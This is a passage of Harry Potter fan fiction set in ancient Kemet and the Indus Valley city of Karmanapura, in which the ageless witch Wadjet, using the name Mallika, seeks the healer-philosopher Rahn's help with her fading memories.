gratitude, still confused by how out of control her emotions were. "But… I don't have the tools…" Come. Fly. He turned, presenting his tailfeathers, and she just barely remembered flying through the air as she clutched the feathers of a similar bird. Transferring the branch to her other hand, she gingerly reached out and took hold of a feather between two fingers. He flapped his wings and rose into the air, Wadjet trailing behind him as if she weighed no more than the feather in her hand. Terror and elation warred briefly in her heart, the elation winning out as she remembered: I love flying! The thrill helped her ignore the colder air hundreds of yards above the ground. Fortunately and unfortunately it was a short trip… a journey that would have taken a day carried in her litter was but minutes beneath the wings of a phoenix. The ground below was a black mass, and with the weightlessness provided by the phoenix's magic she could almost pretend she floated among the stars. Soon a few lights resolved below her, and she knew they were the torches of Abdju. Suddenly she was glad that they were invisible in the night sky - though nudity was hardly rare among the people of Kemet, nor was it terribly sexualized, even after hundreds of years she was shy in a way that confused many. She could hardly explain it was the remains of her English prudery… England didn't even exist yet! The houses of the town - some made of mud brick, others little more than reeds - passed below her feet as the phoenix unerringly winged toward the home of the king. Hardly a castle, it was merely a two-level keep, though its construction was remarkably superior to those outside its walls. Guards armed with spears stood watch outside the wooden gates, but they didn't look up as she passed above them. In moments, the phoenix was lowering her to what served as a balcony to her "apartment". Her legs managed to hold her upright with the assistance of the wall as he let her down, then flapped over to settle on a wooden stool nearby. Enough light leaked up from the torches of the guards that she was just barely able to make out his shape, a dim red and orange shape against the black of night. The heavy piece of persea clattered to the timbers that made up the floor, rolling a few steps away. She let her forehead rest against the cool brick of the keep for a moment, ignoring the way her body continued to shiver. Her head still hurt. None of the torches in her room were lit - no surprise, neither the servants nor her students would have expected her. She'd call them in a moment. She shuddered to think how they'd react to her appearance. At least young Idut's staff worked minimally for her… she'd be able to recast her vision charm, if nothing else. She turned, wobbling slightly, and squinted at the phoenix as it sat on the chair. "Thank you," she whispered. "I don't know what happened to me… but if you hadn't come along…" Tomorrow always comes, he trilled. Ash to ash. He tilted his head as he regarded her, in particular the feather still clutched in her hand. After a moment he lifted a wing and plucked at it; she blinked as the gift of a new feather fluttered to the ground. New beginnings, he explained. Rest, Fledgling. Become new. Her jaw dropped as he spread his wings and leapt into the air. "Wait!" She lurched forward, but only succeeded in stumbling to the floor, banging her knees and elbow and sending fresh pain rippling up her bones. "Wait! Please! I have to ask you… I have to ask you why I'm not dead!" If the phoenix heard her, it gave no sign, winging away beyond the range of her vision and tortured voice. "Please, you can't leave me! Why am I not dead!? I'm supposed to be dead!" Indus Valley, 2720 BC Most people simply called it "the city". A vague term, but for most of the people who lived in it or around it there was little reason to distinguish it from any other city. Few people would bother making the journey to distant Harappa, and there were few other locations that would approach the city's size and importance. Eventually it would be lost and forgotten, with new habitats built on top of its bones, and new ones built on top of those, and so on. In the very distant future, a great city named Lahore would rest upon the site, suspecting but unsure of what lay beneath. For the citizens of the time, however, "the city" may as well have been the center of the world. It was patterned on what was proving to be wise design in Harappa: a rectangular and grid-like layout, with mud-brick walls to keep out dangerous animals and strong gates made of timber to secure the city at night. Men in ox-drawn carts would pass through those gates, travelling down the broad main street to bring their wares - wheat, pottery, metals and jewels - to the market square. One- and two-level houses made of fire-dried brick lined the streets, sheltering the craftsmen and administrators who made the city possible. Like the tiny village to the south that would eventually grow and be named "Mohenjo-Daro" by those of the distant future, the city's true name was long lost to time. Those who named the other may have been tempted to use the name Karmanapura: "City of Spells". Because while most of the city's fifteen thousand residents were of ordinary muggle nature, Karmanapura was notable for housing a sizable group of scholars… all of whom were wizards. Or, as they were called: the godstouched. A few hundred wizards of varying ages was not an impressive number to the magical societies which would follow, but in the time and age of Karmanapura, it was a fantastical concentration of power. The non-magical folk who lived in the city rested easily knowing that whatever the walls couldn't keep out the godstouched could deal with easily. They tended to be well-educated and wealthy besides, so putting up with their arrogance and superiority was a small price to pay in exchange. Few crossed the line into outright maliciousness... like most godstouched, they simply wanted to be left alone to study magic in peace. All times and all civilizations, modern or ancient, magical or mundane, had to suffer one common problem, however: indolent youth. It could be said the problem among the godstouched was rather more severe, because a family that wielded magic simply had an easier time in all things compared to the mundane. There was little need to tend cattle, raise chickens, or labour for hours in the fields raising wheat when a little spellwork took care of most problems. A muggle family that didn't work didn't eat, and muggle families were not shy about applying beatings to lazy children. In comparison, a godstouched teenager often had little to worry about beyond cleaning his room and attending his spellcasting lessons. After that, his time was free. And as any parent will tell you, a bored teenager is a troublesome teenager. Asam, Nava, and Guruta were three bored teenagers. They were apprenticed to two of the prominent godstouched of the city, Master Avinoda and Mistress Razmi. In the normal scheme of things, they would be spending the day practicing their charms (and earning not a few stinging hexes for their laziness). In fact, they'd been assigned such practice while their Masters were off in the mountains hunting dragon eggs… but the couple wasn't due to return for another three nights, and there was plenty of time for practice tomorrow, right? So instead the trio spent many days outside Karmanapura - lazing on the banks of the Ravi river, taunting some of the nearby herds of cattle, play-dueling in the fields, and being truant. It was a warm, sunny day, late in the afternoon, and the three were enjoying an unexpected bounty in the form of a jug of rice wine fermented with honey, bullied from a passing muggle tradesman headed to market who had no desire to endure the maliciousness of three godstouched boys. The three friends lazed in the shade of a large banyan tree, dipping small wooden cups into the ceramic jar. Nava was lounging on a large, thick branch that stretched out from the tree at waist height. Guruta had originally claimed the spot, but too much surā had made him fall off and Nava had quickly seized the prize over the other boy's slurred protests. Guruta petulantly took Nava's former spot resting against the trunk of the tree next to Asam, who was dozing lightly with his reed hat pulled low over his eyes. "Ay, whozzat?" Guruta grunted. Nava was glad their masters were away - there would be no words to describe the hexing they'd receive were they to come home in such a state, and it really wouldn't matter who was carrying who. He twisted on his branch, pushing himself up to see what had caught his friend's attention. Twin winding ruts cut their way through the grasses in front of their lounging tree, a narrow path cut over years by the rough-hewn wheels of carts making the ten-day trip to Harappa in the southwest. The path roughly followed the path of the Ravi, the river hidden behind a line of trees and brush, the sound of its waters hidden underneath the gentle sway of the leaves and wind. The air above the dusty trail rippled in the summer heat, and through the watery shimmering a lone form could be seen approaching - slender and tall, clad in hooded robes of white linen or cotton. She seemed to appear out of the hot air like a spirit or mirage. And it was a she, he knew… a slender arm extended from her voluminous sleeves to hold a staff of polished wood, its top carved into a shape he couldn't identify from the distance. Its end marked her pace with a steady, resolute gait. "Asam. Asam!" He nudged his friend with his foot, knocking the reed hat eskew. The other boy caught it before it fell off, scowling at him before looking in the direction Nava indicated with his chin. Asam grinned as he caught site of the approaching figure. Scrambling to his feet, their erstwhile leader pushed back his hat; the traveller was closing the distance, her gender more obvious. She was slender but obviously female, her features hidden beneath her white linen hood. The carving on her staff was that of a snake, a cobra with its hood flared but mouth closed. Nava climbed off his branch, intrigued; he made sure his dhoti was well-tucked, brushing off grass and dust. Asam stroked the moustache and beard he was so proud of, though up until a few weeks ago it could have easily have been mistaken for lack of face-washing. Guruta simply stared stupidly. "Greetings, Traveller!" Asam exclaimed with a bow as soon as she was in earshot. "A hot day for walking, isn't it? We have some lovely shade here we'd be glad to share. Come rest a moment!" She didn't respond, though Nava thought perhaps he saw her lips draw up into a smirk within the shadow of her hood. Asam was undeterred. "Are you new to these lands? We would be glad to tell you of our home, of Karmanapura!" The woman, who had looked as if she planned to pass by them with barely a glance, paused in her steps. Her head turned toward them, and Asam grinned. Reaching up, she pulled down her hood, giving them their first unobstructed view of her face. Her skin was fair - bronzed by the sun, but far lighter than any native of the valleys surrounding the river. She brought to mind the herdsmen of the north, who very rarely would make the journey across the mountains to visit the southern lands for trade. Her hair was dark, tinged in the sunlight with the barest hint of red, and her features were delicate and porcelain-smooth, her lips full and enticing. Most remarkable of all was her eyes - a deep shade of green, like the youngest leaves of their shading tree. "Guh," commented Guruta. "You know Karmanapura?" she asked. Her voice was smooth but heavily accented, and she paused when speaking in a way that told Nava she was translating and thinking of the right words to use. A distant traveller indeed… one that hadn't yet grasped the local language, but was still picking it up as she moved. Had she come from the north? If so, it was by a roundabout path, since the trail she followed lead to distant Harappa. It didn't escape his notice that she was travelling alone but showed no fear of the three young men. "Of course, Mistress," Asam said, bowing again. He spoke carefully, apparently noticing her careful speech as well. "It's our home, in fact." "Good. You send-... you can tell me direction to go to get there, yes?" "Of course! But why are you in such a hurry? Are you visiting the market? Come, tell us what you seek and perhaps we can help you." She regarded them through narrowed eyes… especially Guruta, who wavered slightly on his feet. "I wish speak with Priest-King for important matter." "Priest-King?" Asam repeated, surprised. "You mean the First? First Rahn?" "First? First is leader? Then yes. You can direct to Karmanapura?" "Of course we can!" Nava didn't like the sly look Asam shot him over his shoulder. "In fact, we can do better… we can introduce you to the First! We're very important, you know," he bragged. "Very important in Karmanapura." "Oh, really?" "Of course! But we must be careful, you know. He is our master, and we don't want him bothered with silly things. You must prove you are worthy of his time." Nava shuffled nervously, thinking the other boy was taking a foolish risk - falsely claiming one master over another was a sure way to be cursed by both. It was said that some masters would even hunt and kill those who tried to leech on their reputation. Even through her heavy accent the woman's scorn and amusement was plain. "And how prove I am worthy?" "It's easy! We just have to get to know you! Come, sit… we have wine! You must be thirsty from all that walking-" Thinking he was being suave, Asam reached out to place a hand on the small of her back. Instead his wrist was caught in a firm grip. "I think no," she said. Asam scowled. "You are not being very friendly," he said as he jerked his arm away from her. "I think you're a very rude person. I don't think the First is going to want to talk to you at all." He pulled out his wand from his tunic. Usually the appearance of a wand was enough to cow a person; the woman spared a glance of interest, but that was all. "My speaking is poor, but I am not stupid. You do not know the… First. You are no use for me." The lead boy's face darkened. "We are godstouched, you know." "Meaning magic, yes? I know. Not care." Asam's wand twitched as he cast one of his favourite charms, summoning a small gust of wind. He was known for being fond of blowing up the robes of the muggle women in the market - for all their rage and embarrassment, they couldn't prove it was him and couldn't do anything about it even if they did - and he tried the same trick with the strange woman in front of them, curious whether everywhere was as strangely coloured as the rest of her. Her robes had barely flapped to the level of her knees when she thrust a palm down, and Asam's wind was itself dashed against the ground, causing a ring of dust to billow lightly outward in a circle. Nava realized that the woman was godstouched as well, even though she carried no wand. "Stupid and child," she snapped, no longer even the slightest bit amused. Her staff lifted an inch and then thumped against the soil, and in answer a column of earth thrust up under Asam's robes with the force of a kick. His hat fell off as the young man doubled over with an agonized squeak, his wand falling from his hand. He tipped backward off the pillar of dirt to curl up into a ball, gasping for breath. The other two boys hunched in instinctive male empathy. Nava balked, but Guruta possessed liquid courage. Mistress Razmi was actually quite fond of dueling, and the eldest of their group was probably the best of the three at combat magic. Nava wasn't sure his friend would have been able to do much even were he completely sober - the white-robed woman actually had time to sigh before the red light of a stunner licked out at her. The spell splashed uselessly against her staff, which spun and thrust, sending out a banishing charm that seemed to ripple the air like the heat. Guruta was thrown backwards, landing on his back and tumbling another half-dozen steps across the grass. Feeling like he was sticking his head into the mouth of a tiger, Nava snapped his wand up and tried for a disarming charm… escalating the confrontation was something he definitely did not want to do! The white bolt bounced off the shield that appeared around her, reflected straight back at him, and he found himself knocked onto his backside by his own spell. His wand flew off to disappear into the grasses. Asam had managed to climb to his knees with agonized slowness, but the woman didn't even bother to let him cast. Whatever spell she put on him was invisible, but its effects were not… Nava watched with shock as Asam's nose lengthened, as did his ears, and fur sprouted across his face. The spell the boy had been trying for was lost as his incantation became a wordless haw! "If act like donkeys, it is good you look like one!" the witch declared. Asam felt his new donkey-shaped head and brayed with terror, dropping his wand and running as fast as he could despite his bruised groin. The wordless noise faded as he fled up the path. Guruta had rolled over and was retching his midday meal onto the ground. Nava tried to crawl backwards, but the white-clad woman simply stepped forward and planted a sandaled foot on his chest, shoving him down. She gestured, and his wand flew up from wherever it had landed to be easily plucked from the air by a slender hand. She leaned over him, her strange green eyes cold. The snake carving on her staff pointed at his head, and he quaked with fear as she twirled his wand among the fingers of her other hand, taunting him with it. "I want you to learn," she said in her broken speech, "that if this my homeland, those who attack me die." His quivering became worse. "But this is not my homeland… and I am good guest. I not hurt you forever. This time. You understanding?" His head nodded desperately. "Yes, Mistress! We're sorry!" "Good. Is good you are sorry. Many have not had a chance to feel sorry they fought me," she replied, and he believed her completely. "Now, answer question: city Karmanapura is here, yes?" "Y-Yes, Mistress," he answered. Flat on his back, he gestured with a shaking hand. "Follow the path… on the other side of the trees there is a river, and there is a bridge. Karmanapura is on the other side." He winced, realizing he was sending her along the same path Asam had fled… hopefully his friend was still running. "Good. Is good to be helpful, causing less trouble for you." She took her foot off his chest, letting his wand plop down in its place. He knew better than to grab for it. She was a few paces away, her back to him as if daring him to try something - a dare he wouldn't take! - when she paused. He had slowly pushed himself to a kneeling position, and taken hold of his wand... though in a reversed grip, the tip pointed carefully away from her. She wasn't looking at him, nor was she interested in Guruta, who remained lying on the grass, moaning and rubbing his belly. Instead, she seemed to be regarding the flowering, twining shrubs between the trees. She gestured with a finger, causing a few flowers to break free and float over to her. When Nava caught up to Asam, he was going to give those long ears a good hard yank - picking a fight with a witch who could do wandless magic! She studied the flowers for a few moments, then looked back at him. "One more question," she said. "What is word for this?" He looked at the white, five-petaled blossom between her fingers. The sweet scent of the plants filled the air… they were popular among godstouched and muggles alike for their perfume, and Master Avinoda had shown him how to use them in salves to treat infection. The flowers were hardly rare, and he didn't understand why they'd interest her. "Ah… we call those mallika, Mistress." "Mallika," she repeated. She examined the blossoms for another moment, then let them fall to the ground. Then she simply nodded her head. "Thank you." She turned, slender fingers reaching up to pull her hood back over her head. Nava watched her go, waiting patiently until she disappeared around the bend in the path that lead to the city. "Is she gone?" Guruta moaned. "Yes," the other boy replied. "Let's find your wand and then Asam. I think I'd rather stay home and practice from now on." Rahn was so terribly bored. He sat in his chair in the main hall of the citadel of Karmanapura, trying not to look bored. Certainly a little bit of detachment was okay, sometimes even helpful, but there were limits. He tried not to slouch too much in his chair, even though the cushion underneath him was doing little to make him more comfortable. At least when he tugged on his beard, which was just long enough to each his sternum, it looked thoughtful rather than fidgety. He tried to make sure he at least looked the part when he was performing his duties. His long, salt-and-pepper hair was bound into a ponytail at the back of his head, and his dark brown linen robes sat comfortably on his wiry frame. He didn't care much for fashion himself… he wore no rings, no bangles or necklaces. If he had his own way, he'd likely dress little better than his son - plain robes, fit for running around outside the city, for hunting doxies and splashing in the river. When it was time to head to the main hall of the citadel, however, he'd let the memory of his wife guide his choice in clothing. The merchants and diplomats didn't need to know that the First dressed for her spirit, not them. The title of "First" sounded far more impressive than the role actually was; he was merely a member of a ruling council which made decisions together. His word carried a great deal of weight, yes, and his spellcasting skill marked him as one favoured by the gods and thus worthy of respect by both godstouched and muggles alike, despite the fact that his knowledge of divination was middling at best. But he couldn't impose his will on the council outright… not unless he was willing to duel someone to make it happen. As the "face" of the council, though, he was the one who the people approached when they had a proposal or (more often) a complaint. If the river merchants thought the port fees should be lowered (and they always did) Rahn heard it first. If a fisherman was caught sabotaging the nets of another, Rahn was the one who sent others out to investigate and punish. If a merchant was caught selling bags of wheat that were spoiled an inch below the top, it was Rahn who decided the fine. It was so very boring. And worse, he was good at it… at least if he had been incompetent people would prefer to go around him, to deal with their problems on their own! But he was good with numbers, good with planning, and good at ferreting truth from fiction. The honesty instilled by his father prevented him from faking ineptitude. That riverboat had sailed years ago anyway… no one would be fooled now. Although, as he got older perhaps he'd have another chance. He fantasized briefly about pretending his mind was failing, and the kind of mischief he could get up to. Maybe then he could have more time for his own studies, his own magic! His great-grandfather, who had lived to the incredible age of one hundred and three, had begun to lose his faculties near the end of his life… though Rahn strongly suspected the old man had simply delighted in having an excuse to say what he liked to whoever he liked. There had been plenty of awkwardness near the end of Vidatha's life, but he'd died with an amused smile. Remembering his impish great-grandfather helped him put an honest smile on his face as he bid farewell to the merchant who had asked to speak with him. Not too much of a smile, of course, else it'd be interpreted as mockery; as it was the man was sent away disappointed, as Rahn had refused to ease up on the portion of grain the city took to stock the emergency stores kept in the granaries next to the citadel. The First was sure it was a struggle that would last as long as the human species: those who chafed against the product of their labours being confiscated versus those acting to buffer against disasters that may or may not occur. Leaning back in his large stone chair, Rahn gestured at the spear-carrying guard near the entrance to the large hall, hoping the next petitioner would have a more simple problem - or at least a more interesting one. The late noon sun was slanting through the windows which circled the room high near the timbered roof. A light breeze flowed in with it, refreshing the air and carrying away the thin smoke from the braziers that lined the path between Rahn's chair and the front of the room. The braziers were set into channels of pebbles, which were then filled with water as a safeguard against sparks. Rahn found it soothing to look at the braziers and the water as it rippled slightly from the air or nearby footsteps. He was hypnotized by the ripples enough that he didn't notice the new petitioner until she'd walked halfway up to his seat. While most people in the city walked barefoot, she wore leather sandals, softening her footsteps on the brick floor. It was the tap of her staff that made him glance up, and he raised his eyebrows at the white-robed woman who approached. Her colouring marked her as foreign; though darkened by the sun, she was far lighter than nearly any of the citizens of the city, and Rahn couldn't remember ever having met anyone possessing eyes as vividly green as the ones that almost seemed to glow as they caught a beam of sun. Her robes were linen, white but tinged with dust, concealing a slender figure. Her hood had been pushed back, and her hair was braided, taming locks as dark as Rahn's own - well, as dark as his was before age began turning some of it grey. A smaller braid dangled from the side of her head, and a number of colourful beads had been woven into the hair, glinting in the soft light. Intrigued, he straightened. She walked with confidence, and when she came to a stop a few paces away she met his gaze with one that showed she wasn't intimidated in the slightest. Still, she bowed her head respectfully. "Greetings, First of Karmanapura." He was not surprised by how heavily accented her words were. "Greetings, traveller," he replied, smiling broadly. When he'd wished for something interesting, he hadn't expected the gods to act so quickly! "I can tell you have come from a distant land, and I'm pleased that you are visiting our city. Are you an explorer, or is there a purpose to your visit with which I can assist?" He spoke carefully, enunciating clearly so she could understand more easily. She seemed to recognize the effort, as well as the fact that he wasn't patronizing her; her head dipped again in thanks. "I come with purpose, First of Karmanapura." "Please, call me Rahn." She blinked, obviously surprised by the lack of formality; good, he liked it that way. "Very well… Rahn. Call me... Mallika." Interesting; obviously a pseudonym. Was her own name difficult to pronounce in his tongue? Or was she hiding from her past? Better and better! "I'm pleased to meet you, Mallika. Tell me of your purpose - it must be important for you to travel so far." His good mood must have been more obvious than he intended, as she seemed a bit baffled. "Is something wrong?" he asked. "You are more… happy-natured than I expect." "I think the word you want is 'jovial'," he advised. "Jovial," she repeated, not taking offence. "Leaders are usually more… serious?" "I can be," he answered honestly, "and I will be, if someone thinks to play me for a fool. But why start with that? I like meeting new people, and you are an interesting interruption in a day full of boring duty. Tell me, Mallika, how can I help you?" She straightened, squaring her shoulders. "I come from far away, from great kingdom of Kemet. I come because of stories… stories that say of a wizard of Karmanapura. A wizard who is also a… a..." She fumbled for the appropriate word, "Man who thinks?" "A philosopher?" "Yes! A philosopher. A philosopher of mind, of memory. Is said that this man is king of Karmanapura, of city north and east of Harappa. Are you this king?" Rahn's brow rose. He'd figured she sought the leader of the city, but he hadn't expected that she was specifically looking for him. "I am First, which is not quite the same as a king," he explained. "I do not rule alone - there are six others. I am simply the one chosen to be the face of the council. I can act alone when it comes to matters of established law, but the larger workings of the city are decided among all of us." He shrugged. "Still, even when I began my apprenticeship learning magic, the workings of the mind have fascinated me. I'm surprised word of my favoured area of study has reached so far… especially Kemet!" He leaned forward, resting his elbows on his knees. "Tell me, why do you seek me specifically?" "I seek… help." She was visibly uncomfortable as she said this, and Rahn got the impression that she was not a person who asked for assistance lightly. "I have… problem. Problem with memory. One that takes me long to notice. So I travel far, that I might speak to one who knows, who may be able to help." "Really? What kind of problem?" "I forget. I forget times, places. I do not remembering being child. I do not remembering growing up, learning magic, and yet I know spells." Her hands were squeezing the staff as she held it leaning against her shoulder. "And the forgetting grows. I make notes long ago, notes to myself, and now I read them and do not remember people or places I speak of. The beginning of my life… is gone." Rahn sat straighter, concerned. "I can see how that would be upsetting. You have suffered no injuries? No sickness?" She shook her head. "No. I am strong, I am healthy. The forgetting… it grows as do I. Not faster, not slower, but always. It… consumes earliest memories, never later, so it takes me long time to notice. Some memories I perhaps not miss, but others, I think I miss much." "That… is very interesting," Rahn replied quietly. His fingers tugged on his beard, this time honestly thoughtful. Shortly after he'd finished his apprenticeship he'd delved deep into his long desire to investigate the workings of the human mind, the path had lead him into learning both philosophy and healing. Even as a boy he'd wondered and pestered the elders: what made a man a man, and not a beast? He'd asked the question so often as a child and through his apprenticeship that the adults had started calling him the `Little Philosopher'. His father had patted him on the head and encouraged him to ask his questions and seek answers (although perhaps he should concentrate a little more on his studies). He'd grown, and he'd spent as much time thinking about how a person thought as why, and exploring how the body could affect the mind as much as the mind affected the body. He'd encountered men and women who had suffered damage to their memories during those decades of study. Almost always the harm could be traced back to injuries or disease, be it a blow to the head or a raging fever. Once, he'd encountered a young woman who had been strangled slowly by a jealous suitor and rescued at the edge of death by her brother. The attacker had been killed - Rahn was a pacifist, but could not fault the young man's fury in defending his sister - and the bruises around the woman's throat had healed, but ever after that day she had difficulty remembering anything even for the length of time it took to walk from one room to another. Never before had he heard of someone losing memory without a notable cause… especially in one so young! "I can see why you would seek help for this," he remarked. "But why travel so far? Even here, we have heard of the great sorceress of the Kemetic kings, the witch known as Wadjet. Could you not go to her for help?" The woman's lips pursed. "I do not think Wadjet can help me." "Why not?" "Because… in land of Kemet, I am Wadjet." Rahn leaned back, surprised… and a little alarmed, as if she'd stripped off her robe and revealed a tiger underneath. There was no sign of deception in her expression. He knew his reaction was foolish - she was here as a pilgrim, not a conqueror. There was no army at her back. Although, if the tales had any basis in truth at all, Wadjet was an army unto herself. She noticed his reaction and frowned, the muscles of her jaw bunching. "I am not here for trouble. I am… sick. I seek help." The guards near the front of the room were out of earshot of their conversation, but they had seen his startled motion. He held up a hand, waving them back from where they'd started to approach out of concern. He turned back to Mallika - Wadjet - with an apologetic look. "Of course. I'm sorry… you just caught me by surprise. I can understand why you'd choose another name while you're here. It does change what help I can offer you, however." "How?" "Let me ask you this - the tales of Wadjet are very old. I learned that name when I was a child, and my great-grandfather said he knew of it when he was a child. You are still learning my language, so I don't wish for any confusion: is Wadjet a title? Like First, or King? Does it pass from person to person?" She shook her head. "No. I am Wadjet… I have always been Wadjet." "Then… how old are you?" "I do not remember." "How far back do you remember?" She closed her eyes, delving inside herself. "I remember current king, Wadjenes, born. I remember his father born, and his grandfather. I remember…" She went silent, her lips moving as she moved backwards in memory, counting the names. She was visibly struggling by the end; when she gave up, she opened her eyes and stared at him with frustration. "I remember… um… five and ten kings and leaders. After that is only… cloud." Fifteen generations. Unless the people of Kemet regularly murdered their leaders, that was a timespan likely in excess of three hundred years, assuming a Kemetic king lasted as long the typical First. And beyond that was even more that she simply couldn't remember… yet the woman in front of him looked the same age as his wife when they'd first started courting! A stunned silence filled the room. It didn't seem to surprise her in the least as she waited for him to speak, a hint of tension in her shoulders. Briefly, he wondered how often she'd had deal with the same reaction he was giving her now; it couldn't be something she would admit easily or often, especially in a foreign land surrounded by strangers. And yet… And yet, she'd journeyed alone, across nearly the entirety of the known world, to admit it to a person she'd just met. If nothing else, it spoke to her seriousness, her desperation. He ran a hand through his hair. "Then these memories you are losing… they are from hundreds of years ago! You realize that I've never attempted to treat - or even research - a problem like this before?" "Yes." "And that in order to help at all, we'd need to investigate - to map and explore - the memories you have left? You would be baring yourself to me as your healer. Not your flesh, but your mind and memories… which can be far more intimate." Her hand tightened around her staff. "Yes." Rahn leaned back, tugging at his beard. The more cynical of his council would be worried about having so powerful a witch in his company so often; others would be pointing out how valuable it would be to have the Witch of Kemet in his debt. But Rahn wasn't the kind of man to threaten or feel threatened, and he was glad the others weren't present. Already he was pondering the problem in his own head! It raised so many interesting questions… was there a limit to how much memory a human (he assumed she was human…) could possess? Was she losing memories of her past to make room for the memories she was creating now? Would experiencing more cause her to lose more? "I can make only one promise: that I will do what I can," he said finally. "I don't know how long it will take to help you, or if I can do so at all." Wadjet stood straight, and though she had poise to match the coldest merchants of Karmanapura he could see the quiet relief in her shoulders. "I… have time." He blinked, then laughed quietly. "Yes, you do, don't you?" "Come now, Rahji… we don't have all day. Remember: swish and flick." Rahji stared at the feather sitting on the rough wooden table. His instructor, Master Sakah, waited as he watched the boy as he held his newly-crafted wand in front of him. The two sat cross-legged on opposite sides of a low table, cushioned from the mud brick floor by a large, woven flax rug while the late sun streamed over their heads through wide wooden shutters that were propped open to allow light and a cooling breeze through the building. Soon it would be dark, and the godstouched servants who had quarters within the First's home would be making the rounds, lighting the torches that lit the house during the night with little more than a tap and a mutter… one of the many spells that Rahji had yet to learn. Sakah looked on from his side of the table, his dhoti pooled around his thin legs, occasionally scratching at his bare chest. He was old, wrinkled by decades of sun, his long black hair and beard long since bleached white. His dark skin almost seemed meant for someone a size larger, hung over a thin frame so that the elder man seemed little more than skin over bone. Despite this, Sakah was very powerful magically (it was said he'd once knocked a tiger out of the air mid-pounce!) and an apt teacher. Since Sakah and Rahji's father were good friends, and it was considered inappropriate to apprentice your own children, there was no-one else Rahn would turn to to teach his son. As was traditional, his magical education had begun over a year previously, helping Sakah with basic potions. The old Master had complimented him on his ability, both for the quality of the potions he made and his careful brewing technique. Rahji had enjoyed it immensely - he liked making cures, salves, and other treatments for the sick and injured. His father was a well-known healer in addition to being First for the city, and Rahji wanted to follow in his footsteps. And, like his father, he didn't simply want to know how something was done, but why it was done that way in the first place. It was a good attitude to have when it came to potion-brewing, he was told, it would just be better if he could contain his… enthusiasm. Not a week beforehand his father had taken him to the city wandcrafter to have a wand made. Rahji had held the precious stick in his hand, feeling the bond with it, and he finally understood why godstouched were so protective of their little sticks. He felt right just grasping it, the power and potential inside aching to be released. And Master Sakah had said he was ready to cast his first spell. Unfortunately, his curious nature was getting a little bit in the way. "Why?" Sakah blinked. "Why what?" "Why is it 'wingardium leviosa'? Why those words? Why not something easier to remember, like `Feather Fly' or something like that?" "Well… well, those were the words that were found to have the proper magical effect." "Found? How did someone find that? Do people just walk around speaking gibberish to make magic happen? How are spells made, anyway? And why do we need incantations? Accidental magic doesn't. Shouldn't we just be able to-" "Rahji," Sakah said with a tone of suffering. His long, wispy hair, long since turned the colour of rainclouds, slipped over his bare, thin shoulders as he pinched his nose. "You would understand better if you would do." "Oh. Right." He turned his attention back to the feather. Taking a breath, he swished the wand and flicked. "Wingardium leviosa." The feather did not move. "Good wand motion, proper grip, and the incantation is adequate. Focus your will. The feather will float not just because you command it, but because it must." "Wingardium levioSA. Wingardium LEViosa?" "Now you're playing with the incantation. That isn't necessary, you had it right the first time." "WINGardium leviosa!" The feather remained stubbornly unmoved. "WinGARdium leviosa!" "Rahji, slow down and think about the movements-" His wand was cutting through the air in a manner that was less "swish" and more "annoyed flap". "Wingardium levIOsa!" A crack split the room, and suddenly Rahji was left blinking… his face coated in soot. Of the feather, there was no sign. Sakah sighed. "Well, the feather is… off the table. So there's that." Rahji wasn't discouraged in the least. "Why did that happen? I didn't mean to do that! Was it the way I was speaking the incantation? Did I accidentally discover a new spell? Do you have another feather? I want to try that again!" "Rahji-" Sakah moaned. He stopped as a giggle echoed from the hallway, easily heard through the thin cloth divider that served as a door. The old man sighed. "Ayati, come in here." A young girl of the same age as Rahji stepped into the room. She was thin to the point of frail, but still very pretty as her long, dark hair fell in smooth waves over her shoulder. Despite the summer heat she was was wrapped in thick linens dyed a vibrant turmeric yellow, and her light mocha skin darkened at being caught, matching Rahji's own blush as he looked down shyly, scrubbing the soot off his face with one arm. "What are you doing out of bed, little one?" Sakah asked. "You're supposed to be resting." "I know, Grandfather, but being in bed was making me tired," she explained in a soft voice. "If being in bed was making me tired, and you wanted me to rest, then I thought I should get up." "Ah, Ayati... You're as bad as he is." The old man tossed his head toward his student, who blushed even deeper. The girl giggled again. "Very well, come here." He gestured, and she stepped over to kneel on the rug beside him. He gave her a quick hug before reaching into a small satchel that lay beside him. He pulled out another feather, this one white with black edging, and laid it on the table in front of Rahji. "All right, Rahji, try again. Remember: swish, flick, and focus." Rahji looked down at the feather, his face still hot. It had been one thing to play around when it was just him and Sakah, but now… he could feel Ayati's wide, dark eyes on him, and didn't need to look at her to see her soft, expectant smile. The orphan girl had no magic, unlike her parents or her grandfather, but she was always thrilled to see it practiced. He didn't want to mess up in front of her! He stared at the feather, trying not to glare at it. This feather hadn't embarrassed him, he told himself. This one would float properly. It liked him. They were partners… brothers, even! Rahji and the feather, floating toward glory! Carefully, he moved his wand in the motions Sakah had demonstrated. "Wingardium leviosa!" At first the feather didn't move, like it needed a moment to think it over. Then, gently, it lifted. It could have easily have just been a gust of air, but then it settled and floated at roughly the height of Rahji's eyes, and the boy let out a relieved breath. "Well done, Rahji," Sakah said with a nod. "Yay!" cheered Ayati, making his cheeks flush again. "Yes, well done, Rahji," a new voice added. Rahji's head snapped up to see his father step into the room, trailed by a white-robed woman with a staff. His father looked down at the trio where they sat on the rug, his expression pleased. "Your first real spell! I'm glad I arrived in time to see it." He gave a sly look to Sakah. "How many questions preceded it?" "Eh… no more than usual," the old man replied. "I see your day is over, Rahn. Who is your visitor?" Rahn stepped aside to present the woman with him. Rahji was fascinated by how much lighter her skin was compared to the others in the room… and were her eyes green? She nodded politely at the trio, giving the children a small smile. "Everyone, this is Mallika. She is a visitor to our city from distant Kemet, far, far to the west… beyond Uruk and the lands of the Sumer. She will be staying in our city for a while, but she only just arrived, so she hasn't had time to arrange lodging. I've offered to let her stay here until she does." He turned to her and gestured, indicating each of the others in turn. "Mallika, this is Master Sakah, and his granddaughter, Ayati. And this is Sakah's student and my son, Rahji." She nodded politely to each of them as introductions were made. Her emerald gaze landed on the feather which continued to hang in the air in front of Rahji. "Good spell, good control," she complimented, her words heavily accented. "Your first casting, yes?" "Yes," he answered shyly. "It isn't great magic, not like Father or Master Sakah can cast." "River comes from streams," she said. "Build house from bottom, not top. Great magic will come, but it comes from little magic." "Yes, Mistress," he replied, blushing yet again. "Oh, sure," Sakah grumbled. "For me, it's questions, questions, questions. She says the same thing and it's `Yes, Mistress'. Am I not pretty enough?" Rahn chuckled, and Rahji didn't even bother trying to stammer out a denial… instead just grinning ruefully as Ayati laughed. "Well, I can promise that your face won't put me off my food," his father said. "Assuming you want to stay and eat with us, Sakah. And Ayati too, of course." Sakah laboured to his feet with a groan, stretching his back as he did. "I appreciate the offer, Rahn, but she and I should be getting home." "Aww, Grandfather…" "None of that, now. Besides, we were going to make 